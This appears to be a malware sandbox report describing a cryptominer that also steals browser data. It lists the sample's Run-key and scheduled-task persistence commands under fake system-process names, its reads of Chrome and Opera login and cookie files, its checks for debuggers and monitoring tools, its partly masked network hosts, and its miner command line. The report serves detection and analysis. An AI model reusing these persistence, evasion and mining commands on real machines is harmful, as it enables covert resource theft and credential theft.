Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '<File name>' = '"C:\Documents and Settings\<File name>.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\<File name>
- <SYSTEM32>\tasks\idle
- <SYSTEM32>\tasks\mdm
- <SYSTEM32>\tasks\wmiprvse
- <SYSTEM32>\tasks\firefox
- <SYSTEM32>\tasks\lsm
- <SYSTEM32>\tasks\spoolsv
- <SYSTEM32>\tasks\iexplore
Malicious functions
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %APPDATA%\opera software\opera stable\login data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %HOMEPATH%\desktop\508softwareandos.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\weeklysheet1215.doc
Searches for windows to
detect analytical utilities:
- ClassName: 'OLLYDBG', WindowName: ''
- ClassName: 'GBDYLLO', WindowName: ''
- ClassName: 'pediy06', WindowName: ''
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'RegmonClass', WindowName: ''
- ClassName: '', WindowName: 'Registry Monitor - Sysinternals: www.sysinternals.com'
Modifies file system
Creates the following files
- C:\documents and settings\<File name>.exe
- %TEMP%\lhlv7og0iw
- %TEMP%\vdyb83aj1y
- %TEMP%\buhppob9ty
- %TEMP%\3dqamdo03d
- %TEMP%\hbqwung1ke
- %TEMP%\ptvzoca9u8
- %TEMP%\cwzlfqqgv5
- %TEMP%\ojzlat82ur
- %TEMP%\26jzzyet5d
- %TEMP%\pyj0s02xu0
- %TEMP%\sshzlemyia
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\9bdwfiebzn
- %TEMP%\nipddrakmm
- %TEMP%\op70zcv2wq
- %WINDIR%defender\runshell.exe
- %TEMP%\l3syl1nirr
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\9db6e019d4f04ef534d0f91b3462d805c40e9d20
- %ALLUSERSPROFILE%\start menu\24dbde2999530ef5fd907494bc374d663924116c
- C:\documents and settings\7aaffb747e0dec44bb950d09ca276251d9d98bfb
- C:\users\default user\idle.exe
- C:\users\default user\6ccacd8608530fba3a93e87ae2225c7032aa18c1
- C:\documents and settings\mdm.exe
- C:\documents and settings\559fba5f8e44108851927af432f0edac6117c574
- %ProgramFiles(x86)%\qip 2012\sounds\qip sounds\mdm.exe
- %ProgramFiles(x86)%\qip 2012\sounds\qip sounds\559fba5f8e44108851927af432f0edac6117c574
- %ALLUSERSPROFILE%\start menu\wmiprvse.exe
- <Current directory>\firefox.exe
- C:\documents and settings\9db6e019d4f04ef534d0f91b3462d805c40e9d20
- <Current directory>\0fc223bdacedc38dd6d2772d547ade1563558e92
- C:\documents and settings\lsm.exe
- C:\documents and settings\101b941d020240259ca4912829b53995ad543df6
- <Current directory>\spoolsv.exe
- <Current directory>\f3b6ecef712a24f33798f5d2fb3790c3d9b894c4
- %ALLUSERSPROFILE%\microsoft\mf\firefox.exe
- %ALLUSERSPROFILE%\microsoft\mf\0fc223bdacedc38dd6d2772d547ade1563558e92
- C:\documents and settings\iexplore.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\iexplore.exe
- C:\systemlogs\syslog1.log
Deletes the following files
- %TEMP%\lhlv7og0iw
- %TEMP%\vdyb83aj1y
- %TEMP%\buhppob9ty
- %TEMP%\3dqamdo03d
- %TEMP%\hbqwung1ke
- %TEMP%\ptvzoca9u8
- %TEMP%\cwzlfqqgv5
- %TEMP%\ojzlat82ur
- %TEMP%\l3syl1nirr
- %TEMP%\26jzzyet5d
- %TEMP%\sshzlemyia
- %TEMP%\9bdwfiebzn
- %TEMP%\nipddrakmm
- %TEMP%\op70zcv2wq
- %TEMP%\pyj0s02xu0
Network activity
Connects to
- '18#.#46.156.179':80
- 'gi##ub.com':443
- 'ra#.####ubusercontent.com':443
- 'ip##fo.io':443
- 'xm#.###l.minergate.com':45700
TCP
HTTP GET requests
- http://18#.#46.156.179/aquyftokigf6e5aaoz87xlvg3c4tadt744zeji2v2s4dpknu0ynyrjk38d7bbdbwh1pgwinsultq9mrhfm53ng1/0hyottdm7fcy9ie0soug1jldvvxidf6mgjxa304kec32iqaagjbo8e5fbrguwp28yfct43hwr5amqvm/ed...
- http://18#.#46.156.179/aquyftokigf6e5aaoz87xlvg3c4tadt744zeji2v2s4dpknu0ynyrjk38d7bbdbwh1pgwinsultq9mrhfm53ng1/0hyottdm7fcy9ie0soug1jldvvxidf6mgjxa304kec32iqaagjbo8e5fbrguwp28yfct43hwr5amqvm/n5...
UDP
- DNS ASK gi##ub.com
- DNS ASK ra#.####ubusercontent.com
- DNS ASK ip##fo.io
- DNS ASK xm#.###l.minergate.com
Miscellaneous
Searches for the following windows
- ClassName: '18467-41' WindowName: ''
Creates and executes the following
- 'C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\iexplore.exe'
- '%WINDIR%defender\runshell.exe' -o xmr.pool.minergate.com:45700 -u mrlowar8@gmail.com -p x --donate-level=1 --pause-on-battery --cpu-priority=0 --cpu-max-threads-hint=75 --randomx-mode=light --log-file=C:/SystemLogs/SysLog1.l...
Executes the following
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "<File name>" /sc ONLOGON /tr "'C:\Documents and Settings\<File name>.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Default User\Idle.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "mdm" /sc ONLOGON /tr "'C:\Documents and Settings\mdm.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "mdm" /sc ONLOGON /tr "'%ProgramFiles(x86)%\QIP 2012\Sounds\QIP Sounds\mdm.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "WmiPrvSE" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Start Menu\WmiPrvSE.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "firefox" /sc ONLOGON /tr "'<Current directory>\firefox.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'C:\Documents and Settings\lsm.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "spoolsv" /sc ONLOGON /tr "'<Current directory>\spoolsv.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "firefox" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Microsoft\MF\firefox.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'C:\Documents and Settings\iexplore.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\iexplore.exe'" /rl HIGHEST /f
